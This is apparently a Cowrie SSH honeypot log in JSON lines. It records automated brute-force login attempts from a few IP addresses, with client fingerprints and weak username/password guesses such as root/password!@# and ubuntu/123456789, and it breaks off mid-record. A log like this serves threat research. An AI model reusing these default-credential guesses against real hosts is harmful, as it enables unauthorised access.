{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:09.959027Z","src_ip":"5.196.136.131","session":"34ce266ea33a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:10.187526Z","src_ip":"5.196.136.131","session":"34ce266ea33a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:11.267308Z","src_ip":"5.196.136.131","session":"34ce266ea33a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":57272,"dst_ip":"10.17.0.5","dst_port":22,"session":"7032008507c3","protocol":"ssh","message":"New connection: 5.196.136.131:57272 (10.17.0.5:22) [session: 7032008507c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:14.267153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:14.270791Z","src_ip":"5.196.136.131","session":"7032008507c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:14.349892Z","src_ip":"5.196.136.131","session":"7032008507c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:14.606018Z","src_ip":"5.196.136.131","session":"7032008507c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:15.685544Z","src_ip":"5.196.136.131","session":"7032008507c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":36432,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2c1cc09fdb9","protocol":"ssh","message":"New connection: 194.36.147.215:36432 (10.17.0.5:22) [session: f2c1cc09fdb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:18.372967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:18.377195Z","src_ip":"194.36.147.215","session":"f2c1cc09fdb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:18.466143Z","src_ip":"194.36.147.215","session":"f2c1cc09fdb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":43065,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbaeed323afa","protocol":"ssh","message":"New connection: 5.196.136.131:43065 (10.17.0.5:22) [session: fbaeed323afa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:18.704760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:18.709203Z","src_ip":"5.196.136.131","session":"fbaeed323afa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password!@#","message":"login attempt [root/password!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:18.746526Z","src_ip":"194.36.147.215","session":"f2c1cc09fdb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:18.789142Z","src_ip":"5.196.136.131","session":"fbaeed323afa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:19.033578Z","src_ip":"5.196.136.131","session":"fbaeed323afa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:19.838019Z","src_ip":"194.36.147.215","session":"f2c1cc09fdb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:20.114039Z","src_ip":"5.196.136.131","session":"fbaeed323afa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":64235,"dst_ip":"10.17.0.5","dst_port":22,"session":"811d38b484e2","protocol":"ssh","message":"New connection: 5.196.136.131:64235 (10.17.0.5:22) [session: 811d38b484e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:23.176903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:23.180732Z","src_ip":"5.196.136.131","session":"811d38b484e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:23.257496Z","src_ip":"5.196.136.131","session":"811d38b484e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:23.492815Z","src_ip":"5.196.136.131","session":"811d38b484e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:24.572987Z","src_ip":"5.196.136.131","session":"811d38b484e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":31323,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfed7ee4474d","protocol":"ssh","message":"New connection: 5.196.136.131:31323 (10.17.0.5:22) [session: bfed7ee4474d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:27.537697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:27.540985Z","src_ip":"5.196.136.131","session":"bfed7ee4474d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:27.633163Z","src_ip":"5.196.136.131","session":"bfed7ee4474d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:27.870265Z","src_ip":"5.196.136.131","session":"bfed7ee4474d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:28.947533Z","src_ip":"5.196.136.131","session":"bfed7ee4474d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":39071,"dst_ip":"10.17.0.5","dst_port":22,"session":"44d881f041f6","protocol":"ssh","message":"New connection: 5.196.136.131:39071 (10.17.0.5:22) [session: 44d881f041f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:31.844789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:31.847717Z","src_ip":"5.196.136.131","session":"44d881f041f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:31.926630Z","src_ip":"5.196.136.131","session":"44d881f041f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:32.211716Z","src_ip":"5.196.136.131","session":"44d881f041f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:33.293219Z","src_ip":"5.196.136.131","session":"44d881f041f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":13701,"dst_ip":"10.17.0.5","dst_port":22,"session":"39e356186aea","protocol":"ssh","message":"New connection: 5.196.136.131:13701 (10.17.0.5:22) [session: 39e356186aea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:36.329890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:36.333980Z","src_ip":"5.196.136.131","session":"39e356186aea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:36.411820Z","src_ip":"5.196.136.131","session":"39e356186aea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:36.639757Z","src_ip":"5.196.136.131","session":"39e356186aea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:37.717293Z","src_ip":"5.196.136.131","session":"39e356186aea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":53406,"dst_ip":"10.17.0.5","dst_port":22,"session":"9417e176220b","protocol":"ssh","message":"New connection: 103.27.238.114:53406 (10.17.0.5:22) [session: 9417e176220b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:39.096211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:39.099512Z","src_ip":"103.27.238.114","session":"9417e176220b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 